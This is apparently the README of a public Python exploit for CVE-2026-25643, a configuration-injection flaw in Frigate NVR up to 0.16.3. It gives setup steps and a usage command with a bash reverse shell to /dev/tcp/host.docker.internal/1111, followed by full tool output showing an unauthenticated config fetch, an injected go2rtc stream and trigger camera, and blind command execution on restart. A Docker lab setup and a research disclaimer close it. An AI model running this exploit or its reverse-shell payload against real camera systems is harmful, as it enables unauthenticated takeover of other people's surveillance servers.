This Python exploit targets a critical configuration manipulation vulnerability in Frigate NVR versions up to 0.16.3 (both authenticated and unauthenticated paths). By injecting a malicious go2rtc stream and a fake camera entry, it triggers arbitrary command execution as the Frigate process during service restart — no reverse shell or output capture required.
Note
To ensure a clean and isolated environment for the project dependencies, it's recommended to use Python's venv module.
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txtgit clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txtpython3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/host.docker.internal/1111 0>&1" --url http://localhost:5001/
Target : http://localhost:5001
Command: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[!] No credentials provided → attempting unauthenticated access
[*] Fetching current configuration (/api/config/raw) ...
[*] Config fetch → HTTP 200
[*] Received 914 bytes
[*] Config was JSON-wrapped → unwrapped
[+] Config parsed successfully (7 top-level keys)
[*] Preparing payload → executing: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[*] Using payload: bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1'
[+] Injected malicious stream → debug_cmd
[+] Injected trigger camera → trigger_exec
[*] Sending modified config (861 bytes) with option: restart
[*] Config save → HTTP 200
[+] Configuration accepted (server should restart)
============================================================
Payload sent! Command should execute during go2rtc init / camera probe.
Keep in mind:
• Output is NOT captured (blind execution)
• Command runs as the user/frigate process
• Multiple executions may occur during restart
============================================================cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:5001- Inspiration from https://github.com/jduardo2704/CVE-2026-25643-Frigate-RCE
This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool.

